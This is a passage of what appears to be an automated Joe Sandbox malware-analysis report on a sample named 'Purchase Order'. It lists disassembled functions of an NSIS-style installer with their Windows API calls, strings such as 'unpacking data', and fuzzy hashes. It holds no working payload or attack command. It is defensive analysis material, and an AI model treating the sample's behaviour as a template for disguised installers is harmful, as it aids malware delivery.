SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 5079ce61eb60a58f18aa72498b661a7186dcc34ecfe9b72952c752fd8c1df286
Instruction ID: 38fa31381a166635c2069e030e34d3db0945d62c2eda65f80c6bd2e149c96a35
Opcode Fuzzy Hash: 5079ce61eb60a58f18aa72498b661a7186dcc34ecfe9b72952c752fd8c1df286
Instruction Fuzzy Hash: FD215C71E00518BBDF119FA5CD80ADFBFB9EB04354F14807AF904AA291C7799A41CFA8

Function 00402CAB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000), ref: 00402CC3
GetTickCount.KERNEL32 ref: 00402CE1
wsprintfA.USER32 ref: 00402D0F

Part of subcall function 00405110: lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

CreateDialogParamA.USER32(0000006F,00000000,00402C13,00000000), ref: 00402D33
ShowWindow.USER32(00000000,00000005), ref: 00402D41

Part of subcall function 00402C8F: MulDiv.KERNEL32(?,00000064,?), ref: 00402CA4

Strings

... %d%%, xrefs: 00402D09

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 1e33dda50caea38695290f70d86be4c9e72cbf0e3d215f61cbcfcdcf3d334b50
Instruction ID: 547fa0e596d0efa3134ade0ba199646732fee1a7f54f1ab5f8be41358a9578df
Opcode Fuzzy Hash: 1e33dda50caea38695290f70d86be4c9e72cbf0e3d215f61cbcfcdcf3d334b50
Instruction Fuzzy Hash: DC019BB0906614E7EB21BB64EF0DEDE766CEB04701B444037F405B11E5C7B89941D79E

Function 004049DB Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 004049F6
GetMessagePos.USER32 ref: 004049FE
ScreenToClient.USER32(?,?), ref: 00404A18
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404A2A
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404A50

Strings

f, xrefs: 00404A2C

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction ID: 2232a7e87341d92c9ad346ae082ec06308d60ff2d87fc7f715a57a5a5eae5b25
Opcode Fuzzy Hash: 13dcb630cae817d26763a7c5c34c1a537cec2b83c976c16d0abeb4614e4307e4
Instruction Fuzzy Hash: E5018071E40219BADB00DB94CC41BFEBBB8AB45711F10412BBA10B61C0D7B465018BA5

Function 004055D6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,?,0042A400), ref: 00405619
GetLastError.KERNEL32 ref: 0040562D
SetFileSecurityA.ADVAPI32(?,80000007,00000001), ref: 00405642
GetLastError.KERNEL32 ref: 0040564C

Strings

ts@, xrefs: 004055DC
ds@, xrefs: 0040560B

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: ds@$ts@
API String ID: 3449924974-968229870
Opcode ID: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction ID: f6395dc840433d181f75b3fc8fae80690a43e09e82cbb082af9cf45b84ce1534
Opcode Fuzzy Hash: f10b22bb5142ab39e3e91bc7df170e02474760785f1b3b99a39c7e09e389b4b4
Instruction Fuzzy Hash: 82010871D04259EAEF119FA0DC44BEFBFB8EB14314F008576D908B6280D779A604CFAA

Function 00402C13 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C2E
wsprintfA.USER32 ref: 00402C62
SetWindowTextA.USER32(?,?), ref: 00402C72
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402C84

Strings

verifying installer: %d%%, xrefs: 00402C57
unpacking data: %d%%, xrefs: 00402C50, 00402C60

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction ID: e0e458c2d16b5d3c5a169a1492fe07981551179f6e5c56f92d0567975436b572
Opcode Fuzzy Hash: ef5ff3cba37bdb2e26199f17b8c5be3437539e0f0002abd4d10d443ac5288961
Instruction Fuzzy Hash: 35F0317090420DABEF205F60CD0AFAE3769EB04345F00C43AFA16B51D0D7B99A55CB59

Function 00406222 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00406239
wsprintfA.USER32 ref: 00406272
LoadLibraryExA.KERNEL32(?,00000000,00000008), ref: 00406286

Strings

\, xrefs: 0040624A
UXTHEME, xrefs: 0040622B
%s%s.dll, xrefs: 0040626C

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%s.dll$UXTHEME$\
API String ID: 2200240437-4240819195
Opcode ID: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction ID: 4eb1d724573375327ef03b870ab6fb06d37159ba94d5fa14c1e1425601a81350
Opcode Fuzzy Hash: c7ba92785c192ffb77ecdfb90d0fa47c7b7783556fece6129122b9a6395f8fae
Instruction Fuzzy Hash: A2F0FC3090011AA7DB24B768DC0DFEB365CAB08305F1401BAA546E11D1D578F9258B69

Function 00402749 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 0040279D
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 004027B9
GlobalFree.KERNEL32(?), ref: 004027F2
GlobalFree.KERNEL32(00000000), ref: 00402805
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040281D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402831

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 127938ffedbdb685085fdf40d0208ae81fb03e7592c7cd39d7ae25b5127f120c
Instruction ID: 589acf511f7bba285ed25554ef0f071862dbcd9cf46fffc414e4c77000f41e55
Opcode Fuzzy Hash: 127938ffedbdb685085fdf40d0208ae81fb03e7592c7cd39d7ae25b5127f120c
Instruction Fuzzy Hash: 5E219A71C04128BBCF216FA5CE89DAE7A79AF09324F14423AF520762E1C6795D40DBA9

Function 00406162 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061BA
CharNextA.USER32(?,?,?,00000000), ref: 004061C7
CharNextA.USER32(?,00429000,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061CC
CharPrevA.USER32(?,?,75923410,0042A400,00000000,0040329A,0042A400,0042A400,004034AF), ref: 004061DC

Strings

*?|<>/":, xrefs: 004061AA

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction ID: 28f88d73301ddfe76a8902f897fcc58808f561dcfc6ac49559e28e986a88295b
Opcode Fuzzy Hash: 2fcb21d4fe3ff3b998ebc2bd8af41eb25bf4dc23d8027269f2ae341fb2b2b84f
Instruction Fuzzy Hash: AF11C8718083912DFB3216644C44B777F998F9A760F19007BE9D6762C3C67C5C53826D

Function 00401759 Relevance: 7.6, APIs: 5, Instructions: 147stringtimeCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(00000000,00000000,00409400,00429800,00000000,00000000,00000031), ref: 00401798
CompareFileTime.KERNEL32(-00000014,?,00409400,00409400,00000000,00000000,00409400,00429800,00000000,00000000,00000031), ref: 004017C2

Part of subcall function 00405EF7: lstrcpynA.KERNEL32(?,?,00000400,0040336D,00422F20,NSIS Error), ref: 00405F04

Part of subcall function 00405110: lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 385cb254830b3dbcb0c35d99c8dbf43eaeb3157a66b4005c67f4322c39a81f81
Instruction ID: 1ba5c428860e61568eef0a4ccac71dac967fbf7ecb8295bcfefdc03a30224d69
Opcode Fuzzy Hash: 385cb254830b3dbcb0c35d99c8dbf43eaeb3157a66b4005c67f4322c39a81f81
Instruction Fuzzy Hash: 2341F471A04515BACF107BB5DC45EAF3678EF41328B20823BF021B11E2DA3C8A419FAD

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402B2F
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402B6B
RegCloseKey.ADVAPI32(?), ref: 00402B74
RegCloseKey.ADVAPI32(?), ref: 00402B99
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402BB7

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: ba179b4ab06ec51544505c7bb4ef6d82f25395ff453b8f9fc11c3f7a3e81ed6a
Instruction ID: cbb66f3b7e8ae2888f759c75a40f8dd5de3b5766fb854263a8955dc236021e84
Opcode Fuzzy Hash: ba179b4ab06ec51544505c7bb4ef6d82f25395ff453b8f9fc11c3f7a3e81ed6a
Instruction Fuzzy Hash: 39117C71A00108FFDF11AF90DE89DAA3B7DEB54345F004076FA05F10A0D378AE51AB69

Function 00401D95 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D98
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DB2
MulDiv.KERNEL32(00000000,00000000), ref: 00401DBA
ReleaseDC.USER32(?,00000000), ref: 00401DCB
CreateFontIndirectA.GDI32(0040A808), ref: 00401E1A

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 384e23ba8be56f1d8b58cd2f78efa8b6131d55f969df9b920b0b3fd3205056ac
Instruction ID: 31dc6bfce766dd2e9c365b6b9c1ce0fa0646d0edadaed3ffd0317ad467dc8ee1
Opcode Fuzzy Hash: 384e23ba8be56f1d8b58cd2f78efa8b6131d55f969df9b920b0b3fd3205056ac
Instruction Fuzzy Hash: 1E017572948340AFE7006B74AE4EB993FF4DB95315F10847AF201B62E2C6B905528F6E

Function 00401D3B Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401D3F
GetClientRect.USER32(00000000,?), ref: 00401D4C
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401D6D
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D7B
DeleteObject.GDI32(00000000), ref: 00401D8A

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: bd1a246c87c7f6178c6ecc63fdf164811e3027df84ebbbc61871bc77a69c7b8e
Instruction ID: 3a73a5ecaa8fddf8dab02391599d10e6f088d4e67d6af50185a53a7dc2f76cba
Opcode Fuzzy Hash: bd1a246c87c7f6178c6ecc63fdf164811e3027df84ebbbc61871bc77a69c7b8e
Instruction Fuzzy Hash: D6F0FFB2A04119BFDB11EBA4DE88DAFBBBCEB44301B104476F601F2191C6749D018B79

Function 00401C04 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C74
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C8C

Strings

!, xrefs: 00401C40

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction ID: 023f80fe09a274ffd38664002148efa248b1b49841e283c842910b226ff12a9e
Opcode Fuzzy Hash: ddb3ae1d6e1b3602016cf6e102a5b51033461e7a55de6e6a3b1605d6dd40c2f8
Instruction Fuzzy Hash: BA219171A44208BEEB15EFA4DA46AED7FB1EF84314F24403EF101B61D1DA7886408B28

Function 004048D1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0041FD30,0041FD30,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004047EC,000000DF,00000000,00000400,?), ref: 0040496F
wsprintfA.USER32 ref: 00404977
SetDlgItemTextA.USER32(?,0041FD30), ref: 0040498A

Strings

%u.%u%s%s, xrefs: 00404959

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 82e12f032b3efd850847d5b584d2a8547bd6d54b12269a14f91348113f1031b8
Instruction ID: 7f1be1aa0c85ccb86495671cb382a06f82cddcf8175a130fa0267404931b34df
Opcode Fuzzy Hash: 82e12f032b3efd850847d5b584d2a8547bd6d54b12269a14f91348113f1031b8
Instruction Fuzzy Hash: CF11B7736041283BDB0065799D45EAF3298DB85374F250637FA25F21D1E978CC1255EC

Function 004023D3 Relevance: 6.1, APIs: 4, Instructions: 73registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402411
lstrlenA.KERNEL32(00409C00,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402431
RegSetValueExA.ADVAPI32(?,?,?,?,00409C00,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040246E
RegCloseKey.ADVAPI32(?,?,?,00409C00,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040254F

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: 65fbc6128c6ea6ccac0771d36d25ae40eb91bbe92aaef5046d3fe99f3cf24475
Instruction ID: 45e6817f5ac0ad5077c8573445b5e51b6f54d3a00a8772886ac111494e5e57ea
Opcode Fuzzy Hash: 65fbc6128c6ea6ccac0771d36d25ae40eb91bbe92aaef5046d3fe99f3cf24475
Instruction Fuzzy Hash: B52181B1E00109BEEB10EFA4DE49EAF7BB8EB54358F20403AF505B61D1D6B95D019B28

Function 00401FFF Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 0040202A

Part of subcall function 00405110: lstrlenA.KERNEL32(0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000,?), ref: 00405149
Part of subcall function 00405110: lstrlenA.KERNEL32(00402D22,0041F510,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D22,00000000), ref: 00405159
Part of subcall function 00405110: lstrcatA.KERNEL32(0041F510,00402D22,00402D22,0041F510,00000000,00000000,00000000), ref: 0040516C
Part of subcall function 00405110: SetWindowTextA.USER32(0041F510,0041F510), ref: 0040517E
Part of subcall function 00405110: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004051A4
Part of subcall function 00405110: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004051BE
Part of subcall function 00405110: SendMessageA.USER32(?,00001013,?,00000000), ref: 004051CC

LoadLibraryExA.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040203A
GetProcAddress.KERNEL32(00000000,?), ref: 0040204A
FreeLibrary.KERNEL32(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 004020B4

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: b9f0aec67fea9bc98c5863c357296edba73ca0e05b72c9a1f083ca6005b565f3
Instruction ID: 7d08e1e337802b2334af88e0c199d29f708e40c37bf94ee781fb5d0f0b1c297d
Opcode Fuzzy Hash: b9f0aec67fea9bc98c5863c357296edba73ca0e05b72c9a1f083ca6005b565f3
Instruction Fuzzy Hash: 7B219571E00225F7DB207FA48E49A6E7A74AB44354F20417BF601B22D1D6BE4A42965E

Function 00405084 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004050B3
CallWindowProcA.USER32(?,?,?,?), ref: 00405104

Part of subcall function 00404128: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 0040413A

Strings

, xrefs: 00405094

Memory Dump Source

Source File: 00000004.00000002.3360575943.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3360559712.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360593659.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360610483.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3360633168.0000000000447000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Purchase Order.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 0b9e3fe4afe9fd5950d24fc38bd805c0ffc83546a9c92a8d1e346af401a4be56
